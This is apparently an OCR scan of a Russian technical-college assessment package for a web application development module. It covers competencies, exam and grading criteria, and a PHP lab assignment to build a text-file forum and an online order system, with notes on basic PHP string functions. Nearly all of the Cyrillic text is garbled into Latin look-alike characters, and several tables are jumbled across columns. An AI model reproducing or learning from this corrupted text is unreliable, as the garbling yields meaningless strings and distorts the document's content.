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1. O0mue mojoKeHus

PCBy.HLTaTOM OCBOCHHUA HpO(i)CCCI/IOHaJ'H:HOFO MOAYJIA SABJIKICTCA T'OTOBHOCTH CTYACHTA K

BBIITOJIHCHUIO BHJ1a HpO(i)eCCI/IOHaHLHOP'I ACATCIIBHOCTHU

[TpoexkTupoBanme, pa3paboTKa ¥ ONTHUMH3AIMS BEO-TTPIIIOKCHUN

n COCTaBJIAIOIIHUX €TI0 HpO(i)eCCI/IOHa.HBHLIX KOMHCTGHHHﬁ, a TaKXC 06I_HI/I€ KOMIICTCHIIUH,

dbopmupyrommuecs B mporecce ocBoeHus [HITKPC B nenom.

cDOpMOfI arTecralluu I10 HpO(i)eCCI/IOHaJ'IBHOMy MOOYJIIO ABJIACTCA 3K3aMCH I10 MOIYJIIO.

Utorom »TOro »sK3ameHa SABISIETCS OJHO3HAYHOE pEIICHUE: «BUJ MPodhecCHOHATBHOU

JACATCIIBHOCTH OCBOCH | HEe ocBOEHY.

2. Pe3y.IILTaTLI O0CBOCHMSA MOAYJIH, MOAJICKAIIIUE TIPOBEPKE

2.1. lIpodeccronabHbIe U 00LIHE KOMIETEHI[UH

B pesynbrare KOHTpOJS M OLIEHKH MO MPOo(hecCHOHAIbHOMY MOJYJIO OCYILECTBISETCS

KOMIIICKCHAA IIPOBCPKa CICAYIOIINX HpO(i)eCCI/IOHaJ'IBHBIX 151 06IJ_II/IX KOMIICTCHIIUM

IIpodeccnonabHbIe KOMIIETEHIIUNT

Iloka3aTe/iu OLIEHKH pe3yJibTaTa

I1K 9.1 Pa3pabarbiBaTh TEXHHYECKOE 3aJaHHE HA
BEO-TIPHIIOKEHHE B COOTBETCTBHH C
TpeOOBaHMSIMH 3aKa3unKa

Ocy1ecTBIATh cOOp MpeIBapUTEIbHBIX JaHHBIX IS
BEISIBIICHUS TPEOOBaHUHN K BEO-TIPHIIOKEHUIO.

Omnpenensats NepBOHAYAIBHbIE TPEOOBaHUS 3aKa3zunmka K
BEO-TIPUIIOKEHHUIO U BO3MOXKHOCTH X PeaH3allny.
[MonOupath onTHMaNbHBIE BapUAHTHI peain3aluy 3a1a4d 1
COTJIaCOBAaHHE MX C 3aKa3UMKOM.

OhopMIISTh TEXHHYECKOE 3a]aHKE.

[1K 9.2 PazpabaTbIBaTh BEO-TIPUIIOKEHHE B
COOTBETCTBHHU C TEXHUYECKHM 3aJaHUEM

BEIMONHATE BEPCTKY CTpaHHIL BEO-TIPUIIOKEHHH.
KoampoBats Ha si3pIKaxX BEO-ITPOrpaMMHUPOBAHUS.
Pa3pabartbeiBaTh 0a3bl JaHHBIX.

Ucnionp30BaTh  CHEIUAIBHBIE TOTOBBIE TEXHHYECKHUE
pelIeHus IpU pa3pab0TKe BEO-IPUIOKEHHIA.

BremonHsTh pa3paboTKy u MPOEKTUPOBaHUE
MH(GOPMAIMOHHBIX CHCTEM.

I1K 9.3 Pa3pabarsiBaTh uHTEpdEric
MOJIb30BATENS BEO-MPHIIOKEHUN B COOTBETCTBUU
C TEXHHMYECKHUM 3a/IaHUEeM

Pa3pabaTbiBath nHTEp(Eiic MOIB30BaTENI.
Pa3pabateiBaTh aHUMAIIOHHBIE 3P PEKTHI

IIK 9.4 OcymiecTBasTh TEXHUYECKOE
COIPOBO’K/ICHHE M BOCCTAHOBJICHHE BEO-
MIPUIIOKEHUI B COOTBETCTBUM C TEXHUYECKUM
3a/laHueEM

VYcranaBnuBaTh U HacTpauBaTh BeG-cepBepbl, CYBJl mmus
OpraHu3anuy padoThl BEO-TIPUITOKEHHH.

Hcnonb30BaTh HMHCTPYMEHTAJIbHBIE CPEACTBA KOHTPOJIS
Bepcuil u 0a3 JaHHBIX.

[IpoBoanTh PabOTHI MO pe3epBHOMY KOIHMPOBAHUIO BeO-
MIPUIIOKEHUI.

BemonHaTe  peructpamuio M 00pabOTKy — 3ampocoB
3aka3umKa B CJIy)K0€ TEXHUIECKOU MOAICPIKKH.

IIK 9.5 TIpon3BoANTH TECTUPOBAHUE
pa3zpaboTaHHOTO BeO MPHIIOKEHUSL

I/ICHOHLSOBaTB I/IHCTp}IMeHTaJIBHI)Ie CpelICTBa KOHTpO.HS[
BepcHii 1 0a3 TaHHBIX, yueTa JeeK-TOB.

TectupoBaTh  BEO-TIPWIOKEHUS C  TOYKH  3PCHHSA
JIOTUYECKOM IETOCTHOCTH.

TecTrpoBaTh MHTErPAIUIO BEO-TPUIIOKEHUS C BHEITHUMHU
CEpPBUCAMU U YUYETHBIMH CHCTEMAa-MU.

IIK 9.6 Pa3zmermaTs BeO MPUIIOKEHHUS B CETH B
COOTBETCTBHH C TEXHUYECKUM 33JJaHHEM

[Ty0GnukoBaTh BEO-NPUIIOKEHUS Ha 0a3e XO-CTUHIA B CETH
WNurtepuer

[IK 9.7 OcymecTBasiTe cOOp CTaTUCTUIECKOM
UHQOpMaIUK 0 padoTe BEO-MIPHUIOKECHUHN IS
aHanu3a 3Q(HEKTUBHOCTH €10 pabOThI

Peanu3oBbiBaTE MEpONPUATHS 10 TIPOJBIXKE-HHUIO BeO-
MpUIOXKEHUH B ceTu MHTEepHeT.
Cobuparp u TIPEABAPUTEITHHO aHAIN3UPOBATH




CTaTUCTHICCKYIO BeO-

TIPUIIOKEHUI.

nHpopmario o pabote

[1K 9.8 OcymecTBasTh ayauT 6e30MacHOCTH BEO-
HPUJIOKEHUS B COOTBETCTBUY C PETIIAMEHTAMHU
110 0€30MacHOCTH

ObecneunBath 6e30nacHyIo U OecriepeOorHyI0 padoTy.

[1K 9.9 MoaepaHu3upoBaTh BeO-NPUIIOKEHUE C
YUYETOM NPAaBUI U HOPM HOATOTOBKU
MH(QOPMALUK [J151 IOMCKOBBIX CHCTEM.

MOI[epHI/I?;I/IpOBaTI) Be6-HpI/IJ'IO)KeHI/I$1 C YUCTOM IIpaBUJI U
HOPM IIOATOTOBKH I/IH(I)OpMaLII/II/I JJIs1 TIOMCKOBBIX CUCTEM.

IIK 9.10 Peanu3oBbIBaTh MEPOTIPUATHS 1O
NPOJIBUKECHUIO BEO-TIPUIIOKECHUHN B CETH
HaTepHer

Peanu3oBbIBaTE MEpONPUATHS IO TMPOJBUKE-HUIO BeO-
MPUJIOKEHUN B ceTh MHTEpHET.

Cobupatb u TIpEABAPUTEITHLHO aHAIM3UPOBATH
cTaTHCTUYecKyl0o  mH(popmamuio o  pabore  BeO-
IPUWIOKEHUM.

O01ue KOMIEeTEeHIINHU

IToka3zaTenn oeHKH pedyJjJbTara

OK 1. Beibupats crmocoObl pereHms
3a/1a4 MPOoPECCUOHAIBHON e TEIbHOCTH,
NPUMEHHUTEIBHO K Pa3IMYHBIM KOHTEKCTAM

- pacmosHaBaTh 3ajady W/uiaum  npoOieMy B
npoeCCHOHATPHOM HW/WIIA COIMAIbHOM KOHTEKCTE;
aHaAJM3UPOBaTh 3a7a4yy /WM NMPOOJIEMYy U BBLIEIATH
e€ COCTaBHbIE YACTH; ONPEIENSTHh ATalbl PELICHUS

3aJaud;  BBIBIATH U 3(G(GEKTUBHO  HCKaTh
nH(popMaIrio, HEOOXOIUMYIO JUIsl PEIICHUs 3a7adu
u/un  mpoOJeMbl; COCTaBUTh IUTAH  JEHCTBHS;
OTIPEIETUTh HEOOXOAUMBIEC PECYPCHI;

BIQJIETh  aKTyaJlbHBIMM  METOJaMu  paboThl B
npodeccuoHanbHOM u CMEXKHBIX cdepax;
peanu3oBaTh  COCTABJIICHHBIM  IUIAH;  OLIEHUBATH
pe3yJabTaT M TOCIEACTBHS  CBOMX  JICWCTBHUM

(CaMOCTOHTCJ'ILHO HJIn C IOMOIIIBIO HaCTaBHI/IKa)

OK 2. OcymiecTBasTh TIOUCK, aHAIH3
UHTEPIIPETAINIO HHPOPMAIIHH,
HEOOXOIMMOM JIs BLITIOJHEHHUS 3a1a4
pohecCHOHANBEHOM e TENIbHOCTH

- ONpeNeNATh 3aJadl JUIsl TOWCKAa WH(GOpPMAIUY;
oTpeAensiaTh He0OX0UMbIe HCTOYHUKU UH(DOPMALINY;
IUTAHUPOBATh TPOIECC IMOUCKA; CTPYKTypUPOBATH
noiydyaeMyro HMH(GOpPMaIMIo; BBIIEIATH Haunbolee
3HAYUMOE B TIepeYHe WH(OPMAIMH; OIICHUBAThH
MPAKTUYECKYI0 3HAYMMOCTh pEe3YJIbTaTOB IOUCKA;
0hOpMIIATH Pe3yJIbTaThl MOUCKA.

OK 3. IInannpoBats U pean30BbIBATh
cobcTBeHHOE MPOHEeCCHOHATBHOE U
JMYHOCTHOE Pa3BUTHE.

- OIpEeNeNsaTh aKTyaJIbHOCTh HOPMAaTHUBHO-IIPABOBOM
JIOKYMEHTAIMA B MPOQPECCHOHAIIBHON JEATEIHHOCTH,

MPUMEHSATD COBPEMEHHYIO Hay4HYIO
po(hecCHOHANIbHYIO TEPMHHOJIOTHIO; OIpENesaTh U
BBICTpAaUBaTh  TPACKTOPUU  MPOo(decCHOHATBEHOTO

pa3BUTHS U caM0O0Opa30BaHus

OK 4. PaboTaTh B KOJUIEKTUBE U KOMaH/IE,
3¢ (peKTUBHO B3aMOJIEIICTBOBATH C
KOJUIETaMH, PYKOBOJICTBOM, KITHEHTAMHU.

- HAXO/AUTh U UCIOJIB30BATh HHPOPMALIUIO IS
3¢ (HEeKTUBHOTO BHIIOTHEHHS MPOPECCUOHANBHBIX
3aj1a4, Npo(hecCHOHAIBHOTO U JINYHOCTHOTO
pa3BUTHSL.

OK 5. OcymiecTBasTh YCTHYIO U
NUCbMEHHYIO KOMMYHUKAIUIO Ha
TOCYJApPCTBEHHOM SI3BIKE C YIETOM
0COOEHHOCTEH COIMATBbHOTO U KYJIBTYPHOTO
KOHTEKCTa.

- T'paMOTHO H3JilaraTb CBOW MBICIIM H O(bOpMJ'ISITI)
JOKYMCHTHBI I10 HpO(l)eCCHOHaHLHOﬁ TEMATUKE Ha
TOCYAApCTBEHHOM SA3BIKE, IMPOABJIATE TOJICPAHTHOCTD
B pa6oqu KOJIJICKTHUBEC

OK 6. ITposiBIsATh rpa’kAaHCKO-
NaTPUOTUYECKYIO MMO3ULHIO,
JI€MOHCTPUPOBATh OCO3HAHHOE MOBEACHUE
Ha OCHOBE TPaJIULIMOHHBIX
00I11€4eTIOBEYECKUX [IEHHOCTEH.

- OIIMCHIBAaTh 3HAYMMOCTD CBOEH CHIELMaIbHOCTH




OK 7. ConeiicTBOBaTh COXpaHEHHUIO - coOJI0AaTh HOPMBI HKOJIOTUYECKOH 0e30MmacHOCTH;
OKpY’Kalollel Cpesibl, peCypcoCOEpexKEeHNI0, | ONPEAEIsATh HAMpaBIECHUS pecypcocOepexeHuss B
3 PEKTUBHO AEHCTBOBAThH B UPE3BBIYAWHBIX | paMKaX  NPO(pECCHOHATBHON  JEATENILHOCTH  I10

CUTYaIHsIX. CHEIUATBHOCTH

OK 8. Ucnonb30Bath cpencTaa - HCIONB30BaTh (U3KYIHTYPHO-030POBHTEIHHYIO
(U3UYECKOH KYJIBTYPHBI Il COXPAHCHHS U JeSITeITbHOCTD Ut YKpEIUICHUS 3II0POBBSI,
YKPEILIEHUA 30POBbsS B IIPOLIECCE JOCTIDKEHUSI OJKU3HEHHBIX M MPO(ecCHOHATBHBIX
poeCCUOHATILHOM IEATEILHOCTH U Hened;  TMPUMEHATh  PallMOHAJbHBIC  MPHEMBI
NoJEpKaHUS HEOOXOAUMOI'O YPOBHS JBUTATENBHBIX ~ (QYHKIMA B TIPO(ECcCHOHATBHOM
(U3UIECKOil MOATOTOBICHHOCTH NeSITeITbHOCTH; TI0JIb30BAThCS cpeacTBaMu

npoMIAKTUKN TIepEeHANpPsHKEHUST XapaKTePHBIMHU IS
JJAHHOW CIIEUAIBHOCTH

OK 9. Ucnonb3oBaTh HHGYOPMAIIMOHHBIE | - IPUMEHSTH CPEACTBA MH(POPMALIMOHHBIX
TEXHOJIOTUH B ITPO(HECCUOHATLHON TEXHOJIOTUH JUIsl peleHus PO eCCUOHANIBHBIX 3a/1a4;
JESTEIIbHOCTH MCII0JIb30BaTh COBPEMEHHOE NIPOTrPaMMHOE

obecrnieueHue
OK 10 . ITons30BaThCst PO eCCHOHATBHON - MOHUMATh OOIIMIA CMBICT YETKO MPOU3HECEHHBIX
JOKYMEHTaIel Ha rocy1apcTBEHHOM U BbICKa3bIBaHUI Ha U3BECTHBIE TEMBbI
WHOCTPAHHOM SI3bIKaX. (mpodeccroHabHBIE U OBITOBBIE), TIOHUMATh TEKCTHI

Ha 0a30BbIe NPO(ecCHOHANbHbIE TEMBbI; y4aCTBOBATH B
JMaiorax Ha 3HaKOMBbIE 001Ie ¥ MpoQecCHOHaTbHbIE
TEMbl; CTPOUTH HPOCTbIE BBICKA3bIBaHUSA O cebe U O
cBoeil TpodecCHOHANBHONW IESTENbHOCTH; KpPaTKO
00OCHOBBIBaTb M OOBSICHUTH  CBOM  JICHCTBHS
(Tekyme M IJIAaHUPYEMbl€); THcaTh IPOCThIE
CBSI3HBIE  COOOIIEHMS  HAa  3HAKOMBIE WM
MHTEpECYIONe NpoPecCHOHATBHBIC TEMBI

1.2. AmeTh NpaKTH4YECKHUI ONBIT — yMeTh — 3HATh

B pesynbrare nuzydenus npoheccuoHAILHOTO MOAYJIS CTYACHT JTOJDKEH:

HMEThb npaKanecmn”d OIIBbIT:

I[TIO 1 | B ucnosib30BaHuH CIIEIIMATBLHBIX TOTOBBIX TEXHUUYECKUX PEUICHUN Mpu pa3zpaboTke
BEO-TIPUIIOKEHUI;
I1O 2 | BeIMOTHEHUH pa3pabOTKH M MPOSKTUPOBAHUS HHPOPMAITMOHHBIX CUCTEM;
I1O 3 | monepHU3aMK BEO-MPUITIOKEHUN C YUYETOM MPABUI M HOPM MOATOTOBKU
WH(GOPMAIIMH JTsI TOUCKOBBIX CHCTEM;
[10 4 | peanuzanuu MEPOTIPUATHIA TTO TIPOABMKEHUIO BEO-TpuiioskeHui B cetu HTepHeT
YMeTh:
Vi pa3pabarbIBaTh IPOrPaMMHBIN KOJ KIMEHTCKOW U CEpBEPHOM 4acTu BeO-
IIPUJIOKEHUH;
V2 OCYIIECTBIIATh ONTUMH3AINIO BEO-TIPUIIOKEHUSI C IICJIbIO TTOBBIIICHUS €r0 PEHTHHTA B
cetu MuTepHerT;
Y3 pa3pabaTbIBaTh M MPOESKTUPOBATH HH(POPMAIIIOHHBIE CUCTEMBI
3HATH:
31 SI3BIKM IPOTPAMMUPOBAHUS U PAa3METKH JI pa3paO0OTKU KIMEHTCKON U CepBEPHOil

4acTH BeO-TIPUIIOKEHHUI;




32 MPUHLIUIB QYHKIIMOHUPOBAHUS TTOMCKOBBIX CEPBUCOB M OCOOCHHOCTH ONTHMHU3ALNN

BEO-TIPUIIOKEHUM 1O]] HUX;

33 IPUHIIMIIBI TPOEKTUPOBAHUS U pa3pabOTKH HHPOPMAIIMOHHBIX CHCTEM

2. ®opMbI NPOMEKYTOUHOI ATTECTAIMH 1O NPO(PecCHOHATHHOMY MOIYJII0

JIeMeHT MOAYJIs

®opmMa KOHTPOJISI M OLIEHUBAHUS

HpOMe)KyTO‘lHaﬂ arTrecranuda

Texkymuii KOHTPOJIbL

Brinonnenue 1abopaTopHbIX

M/K.09.01 JRAMEH paboT, mpakTH4eCKuX padoT.
KypcoBoi npoext
MJIK.09.02. SK3aMeH Brinonnenue n1abopaTopHbIX
paboT, MpakTHYECKUX paboT.
MJIK.09.03 SK3aMeH Brmonnenne mabopaTopHBIX
paboT, MpakKTHIEeCKUX paboT.
. Brinmonnenue yuebHo-
VYII.09 JuddepeHpoBaHHBIHN 3a4eT POU3BOZICTBEHHBIX paGoT
. Brimonnnenue paboTsl Ha
[111.09 JuddepeHpoBaHHBIHN 3a4eT HPOH3BOICTREAHOH TIPAKTIKS
ITM-09 DK3aMeH MO0 MOJYJIIO

3. Kommiaekrsl KOC




/— i N TFocynapcrBenHoe npodeccnoHaIbHOE 00pa30BaTeIbHOE YUPeKIeHne

| ; «CBIKTBHIBKAPCKHUH JIECONPOMBINIJIEHHBIH TEXHUKYM)
w_;\,fﬁ <<CBIKTBIBKapC3 BOp IIPOMBINUVICHHOCHT TCXHUKYM»
YIKCUKACO BEJIOJAH KAaHMY YUPEKICHUE
KoHTpPOJIbHO-0LIEHOYHOE CPeICTBO
TH KOHTPOJILHOI'O 3aJaHUSA: [Ipaktrueckue padOTHI
Pazpnen 1. [IpoekTupoBanue u pazpadoTka
BEO-MPUITOKEHU
IIpoBepsiemble pe3yIbTaThI [0 1-2 y1-3,31-3
00y4eHuUs:
Kpurepuu oueHku
Ouenka Kpurepun
2

(He 33'-ITCHO)Z CTYACHT HEC BBIINNOJHWII UJIW BBIIIOJIHWUII HEIIPABUJIBHO 3a/JaHUA HpaKTquCKOﬁ

(;mabopaTopHOif) paboThI; CTYZACHT OTBETHII HAa KOHTPOJIbHBIE BOIPOCH € OIIMOKaMU WK HE
OTBETWJI Ha KOHTPOJIbHBIE BOTIPOCHI.

3 (YIOBIIETBOPUTEINHLHO): BHITOJIHEHBI BCE 3aJJaHHsI IPAKTHUIECKOH (J1abopaTopHOi) paboThl C
3aMeUYaHMsIMH; CTYJIECHT OTBETHII Ha BC€ KOHTPOIBHBIC BOIIPOCHI C 3aMEYaHUSIMH.

4 (XOpoI1I0): BBITIOJIHEHBI BCE 33JIaHUS MPAKTUYECKOH (J1TaD0paTOpHOIi) padOThI; CTYESHT OTBETHII Ha
BCE€ KOHTPOJILHBIE BOIPOCHI C 3aMEYaHHUSIMHU.

5 (OTHMYHO): BBHITIOJIHEHBI BCE 3a[aHHS MTPAKTHUYECKON (J1TabopaTOpHOM) pabOThI, CTYICHT YETKO 1 0e3
omKrOOK OTBETHII Ha BCE KOHTPOJILHBIE BOTIPOCHI.

CocraBureib:

Kinouesa E.A. MPETO/IaBaTeb JUCIUATIINH
obmenpodeccCHoHaNBHOTO U
poheCCHOHAIBHOTO ITUKIIA

ChIKTBIBKaAp

2021




OBIHINE TPEBOBAHUA K BBIITIOJIHEHUIO JIABOPATOPHBIX PABOT

Lenpto mnpoBeaeHus IabOpaTOpHBIX padbOT SBISETCS 3aKpEIIeHHEe OCHOBHBIX
TEOPETUYECKUX TMOJIOKEHUHN, U3T0KEHHBIX B JICKIUSAX, HA TIPUMEpE IIUPOKO UCIIONb3YyEMbIX B
I'A Ttexnonoruit PHP u ASP.NET.

B nporecce BoinosiHeHUs 1a00paTOPHBIX PaOOT CTYIEHTHI JOKHBI OCBOUTH MPUEMBI U
MeTobl: paboTel ¢ PHP-MamuHo#, cepBucamu u npoaykramu Ha matdopme .Net .

JlabopaTopnas paboTa COCTOUT U3 CIEAYIOIINX TAIOB:

1) momariHss IOArOTOBKA,

2) BBITMIOJIHEHHE PA0OTHI HAa KOMITBIOTEPE B COOTBETCTBHH C 3a/IaHHEM;

3) ciaya BBITIOJIHEHHON pabOThI MPEMOAaBaTel0 Ha EPCOHATBHOM KOMITBIOTEPE;

5) opopmieHue oTueTa;

5) 3ammura 1a00paTOpHOIl pabOTHL.

B nporniecce nomaniHei moAroTOBKH CTYACHT:

- U3y4YaeT JIEKIMOHHBI MaTepuaj, MarTepuaibl [0 TeMaM JAaHHOTO IMOcoOus H
JOTIOJHUTEIBbHOM JINTEPATYPBHI,

- 3HAKOMUTCS C 33/IaHHEM Ha BBITIOJIHEHUE J1a00paTopHON paboThI;

- TOTOBUT OTYET T10 BBITIOJIHEHHUIO JTAOOPATOPHOM pabOTHI.

BBIIIOJIHEHUE naGoparopHoii paboThl NIPOU3BOAUTCS BO BpeMs 3aHITHH B
kommnbloTepHoM kiacce [TIOY «CJIT» B mpucyrctBum mnpenojaBarens. B mponecce
BBITIOJTHEHUSI JTa0OpaTOPHON paboOThl CTYACHT IMOCIEIOBATENILHO BBHIMOJIHAET 3amanue. [lo
3aBEepPILIECHUIO PaOOTHI - AEMOHCTPUPYET MPENOAABATEINIO PE3YIbTATHI.

CHAYA PABOTDI nmpenonaBarento Ha NEPCOHAIBHOM KOMIIBIOTEPE 3AKIIOYACTCS B
JIEMOHCTpAIIMHU BBIMIOJHEHHOW paOOThl U BBIIOJIHEHUH HETIOCPEJICTBEHHO MPU IMPEIoiaBaTesne
WHIUBUIYATHHOTO JIOTIOTHUTENBHOTO 3aJaHusl.

[Tocne IPUEMA npenonaBarenem 1abopaTtopHoil pabotsl Ha 1K cTyneHT:

- COXpaHSET pe3yNbTaThl Ja0OpaTOPHON pabOThl HA CMEHHOM HOCHUTENE, BBIJAHHOMN
MpernoaBaTesieM, B KaTallore co cBoei (pammuuei.

OTYET mno kaxoit 1abopaTopHOi paboTe TOHKEH COJIepkKaTh: Ha3BaHUE PaOOThI; IIECJIb
nabopaTopHoil paboOThl; 3aJaHUME Ha BBHINOJHEHUE Ja00paTopHOM pabOThl; KpaTKue
KOMMEHTApHH T0 BBIMOJTHEHHUIO JIA0OpaTOPHOM paboThl; pacmedarku (ailioB pe3yabTaToB,
MOJIMTUCAHHbIE MPErnoaBaTeeM.

3AIIUTA naGopatopHOoil pabOTHI MPENOJABATENI0 MPOBOAUTCS MO KOHTPOJBHBIM
BONIPOCaM | TPH HaTu4uu OGOPMIICHHOTO OTYeTa (pacredyaTKu JIOJDKHBI ObITh MPHUKIICCHBI).
[Tocne 3amuThl 1abOpaTOPHOM pabOTHI JeNaeTcsi COOTBETCTBYIONIAS 3alUCh Ha OTYETE
CTYJEHTA.

1. JlabopaTopHasi padota «Co31aHue cepBepHBIX ClIeHAPHEB C
HCnoJib30BaHueM TexHosorun PHP»

Lens maGopaTOpHON pabOTHI: MOJYyYCHHE HABBIKOB PAaOOTHI C S3BIKOM CEPBEPHBIX
ckpuntoB —PHP, co3nanue cuenapus popyma u 371€MEHTOB CUCTEMBI (POPMHUPOBAHNUS 3aKa30B
yepes Internet.

3ajiaHre Ha BBINOJIHEHUE JIa0OpaTOPHOI pabOTHI

Pazpabotare mnporpammy u cueHapuii ¢opyma c¢ wucnonb3zoBanueM PHP-kxona,
BcTpoeHHOTO B HTML-K0, O3BOJIAIONTYIO TI000MY MOJIB30BaTEINIO:

OTKpPBITh TEMY JJIs1 00CYXAE€HUS,

BBICKa3aTh CBOE€ MHEHUE 110 YK€ OTKPBITON TEME.

[IpenycMoTpeTh MPOBEPKY BBOJMMOM IOJIb30BaTENeM MH(POpPMAIMK, €CIU Ha3BaHUE
TEMbl WIM COOOIIEHHWE  HE BBEAEHBI, TO BHIIOJHEHHE CLEHapus 3aBeplIaeTcs, U



MOJIb30BATENI0 BBIIAIOTCSA COOOIIEHHSI 00 OIMOKE C BO3MOXHOCTBIO BEPHYTHCSI C MTOMOIIBIO
kHOonkU «Hazamy.

ba3za naHHBIX NOJDKHA CO3[aBAThCS JIMHAMMYECKH, HA OCHOBE IPOCTBIX TEKCTOBBIX
daiinoB: B (aiin tems.txt 3anuceiBaTh Ha3BaHue TeM, B ¢aiiia NN.IXt 3anuceBaTh KOJTUYECTBO
coobuienut mo teme ¢ HomepoMm N, B ¢aitm MN.tXt 3anuceiBaTh COOOIIEHUST IO TEME C
HomepoM N.

[IpoBoauTcs aHanu3 BBOAUMON TeMbl (popyMa Ha COBIAJEHUE C UMEIOIIUMUCS B 0ase
naHHbIX. B ciiyyae coBnajenus tema He 100aBIseTCs.

[IpoBepsieTcs ~ KOPPEKTHOCTh  AAPECOB  JJIEKTPOHHOW  IOYThI,  BBOJMMBIX
MOJIB30BATEISAMHU. /{7151 3TOr0 UCIOIB30BATh MEXAHU3M PETYJISPHBIX BBIPAKEHUM.
[Ipenycmotpers:

MIEPEMEHHYIO, ONPEJEISAIONIYI0 BBICOTY OKHa KOMIIOHEHTa BbIOOpa TeMm. Ecmm
KOJIMYECTBO TEM HE IMPEBBIIIAET 33JaHHON BEJIMYMHBI, HAIPUMED, D, TO BBICOTA ONPEIEIISIETCS
KOJINYECTBOM TEM, €CJIM MPEBBIIIAET 3HAYEHHE 5, BbICOTA OcTaeTcsd paBHOM 5. IIpm 3Tom
JOJKHA TOSBIIATHCS 110JI0CA BEPTUKAIBHON IPOKPYTKHU;

- HTML-dopmy ¢ oxnom Select m kHomkoi Submit ans mepemadu ComepKUMOTO
dopwmel B (aiin look.php, ympasisromuii (pocMOTPOM collepKaHus AUCKYCCHH TI0 TeMaM,

- KHONIKY Submit «OtmpaBuTh B hopym» AJIs Tiepeaun CoIepKUMOTo (opMbl B aiin
add.php

Yupasastomue daiiner index.php, look.php, add.php pasmectuts B mamke forum.

PazpaboTarh nmporpamMmy, COJAEpKallyl0 3JIE€MEHTBI CUCTEMbI (DOPMUPOBAHUS 3aKa30B
yepes Internet:

BKJIFOUUTD MTPOBEPKY KOPPEKTHOCTH a/Ipeca JIEKTPOHHOU MOYTHI,

3aKa3 OTHPABISETCS B BUJIE TEKCTA, C BO3MOKHOCTBIO IPOBEPKU U JOMOJTHEHHUS;

3aKa3 IepeiaeTcs Ha cepBep B 0a3y AaHHBIX MOCIEI0BATEIbHO;

€CIM MO KaKUM-TUOO MpUYMHAM 3aKa3 OKa3ajics HE3aBEpILIEHHBIM, M0 HCTECYEHUU
OTIpEIeIEHHOTO IPOMEXKYTKa BPEMEHH 3aKa3 aHHYIUPYETCS;

ONEpPAaTUBHBIC JIaHHBIC O TIOKYMATENIAX XpaHUTh B TEKCToBOM (aitne list.txt,
3aBEpIICHHBIC 3aKa3bl 3aHOCUTH B (paiin order.txt;

Ka)K/IpIi KJIMEHT CBSI3aH CO CBOEH ceccuel, KakJasi ceccusl, COOTBETCTBEHHO, COACPKUT
UH(OPMAIIHIO O TTOBEJICHUH CBOETO KJIMEHTA.

Ynpasnstomme daiiner index.php, look.php, send.php pasmectuts B manke zakaz.

OcCHOBHbBIE TEOPETUUYECKUE CBEIACHUS

[Ton dopymom nmoHuMaeTcst mporpaMma, MO3BOJIAIONIAS JTFOOOMY KeNaroIIeMy OTKPBITh
TeMy Uil OOCYXKICHMS, a TakKe BbBICKA3aTh CBOE MHEHHME II0 YK€ OTKPHITOH TeMe.
Pa3pabaTbiBaemblil B 1aHHOHM JabopaTopHOM padoTe GopyM ciesaH IpOCThIM, HO JOCTaTOYHO
¢byakumoHanbHbeiM. OH cocTtouT u3 4-x ¢ainoB ynpasieHusa. ba3a naHHBIX co3gaercs
JMHAMUAYECKH, HA OCHOBE IMPOCTHIX TEKCTOBBIX (DafJIOB.

B o6mem Bune cunTakcuc onpenenenus Gynkmun PHP cremyrommii:

function ums_dyuakmuu(aprl[=3u1], apr2[=3u2], ... aprN[=3uN])

{ onepatopsl_Tena_ ¢yHkimu; }

Umst QyHKIIMM AOKHO OBITh YHHMKAIBHBIM C TOYHOCTBIO 1O perucrpa OykB. DTO
O3HaYaeT, 4To, BO-MepBbIX, uMeHa MyFunction, myfunction u maxe MyFUNcTiOn Oymyt
CUMTATbCA OJIMHAKOBBIMU, U, BO-BTOPBIX, Mbl HE MOKEM MEPEOIPENEIUTh YKE ONPEICICHHYIO
¢byHKIMIO (CTaHIAPTHYIO WIKM HET — HE Ba)KHO), HO 3aTO MOXEM JaBaTh (PYHKIHSAM TaKHE K€
UMEHa, KaK M MEPEeMEHHBbIM B mporpamme (KoHeyHo, 0e3 3Haka $ B Hauane). Crucok
apryMEeHTOB, COCTOUT M3 HECKOJIbKUX MEPEUHUCICHHBIX Yepe3 3aMsaTyi0 MePEMEHHBIX, KaXayIo
U3 KOTOPbIX HEOOXOAMMO  3aJaTh IPH BbI30BE (QYHKLUMHU (BIpoueM, Korja ais 3TOH
NIEPEMEHHON IPUCBOEHO YE€pe3 3HAK PABEHCTBA 3HAYEHUE IO YMOJIYaHUIO (0003HauYE€HHOE
=3HM), ee MOKHO OyzeT onycTuTb. KoHeuHo, eciin y pyHKIUU HE TOJIKHO OBITh apI'yMEHTOB



(kak 3T0 caenano y ¢yHkiuu time()), To cieayer OCTaBUTh MYCThIe CKOOKH IMOCIIC €€ UMEHH,
HaTnpuMep:

function SimpleFunction() { ... }

B ¢durypasie ckoOku 3akimodaercss Teno (GyHKIUU. B HeM MOryT OBITH JTHOOBIC
OIlepaTophl, BKIIIOUAsl JaK€ ONEpaTOphl ONpeeeHus Apyrux QyHKUuM (1paBaa, 3TH "apyrue
¢yHkuuu" He OynyT JOKAJIBbHBIMU, & CTAHYT Janee "BUJHBI" 1J1s BCEl MPOrpaMMbl, HO TOJIBKO
C TOr0O MOMEHTa, KaK J0 HX OINUCaHusl Joiaer ympamieHue). Ecnum (yHkums momkHa
BO3BpaIaTh KaKOe-TO 3HAYCHHE, YTO CPEeIr HHX JOJDKEH BCTPETUTHCS omeparop return. Ecim
K€ OHa JOJDKHa oTpaboTarh Oe3 BO3BpaTa 3HAUYCHUH, TO omepartop return MoXHO u He
yKa3bIBaTh (WM YKa3bIBaTh 0€3 3a/laHusl BO3BPAIAEMOT0 3HAYCHHUS).

2.3.1. bazoBbie GyHKIIMN

1) int strlen(string $st)

Onna u3 HamOoiiee mosie3Hbix (QyHkiui. BosBpaimaer mpocTo MJIMHY CTPOKH, T. €.,
CKOJILKO CHMBOJIOB conepxkutcs B $st. CTpoka MOXKET coJepkaTh JIHOObIe CHMBOJIBI, B TOM
9HCiIe W C HyJNeBBIM KojoM (uro 3amperieHo B Cu). @ynkius strlen() 6yner mpaBuiibHO
paboTaTh ¥ C TAKUMH CTPOKAMHU.

2) int strpos(string $where, string $what, int $fromwhere=0)

JlanHast (QyHKIOMS BBINOJHAET MMOWCK B CcTpoke $where moxctpoku (TO ecTh
MOCJIeIOBATEILHOCTH cuMBOJIOB) $what u B ciydae ycmexa BO3BpalaeT MO3MIUIO (HHICKC)
9TOM MOACTpOKH B cTpoke. [lepBwiii cumBom crtpokm, kak u B Cu, mmeer wuuaekc O.
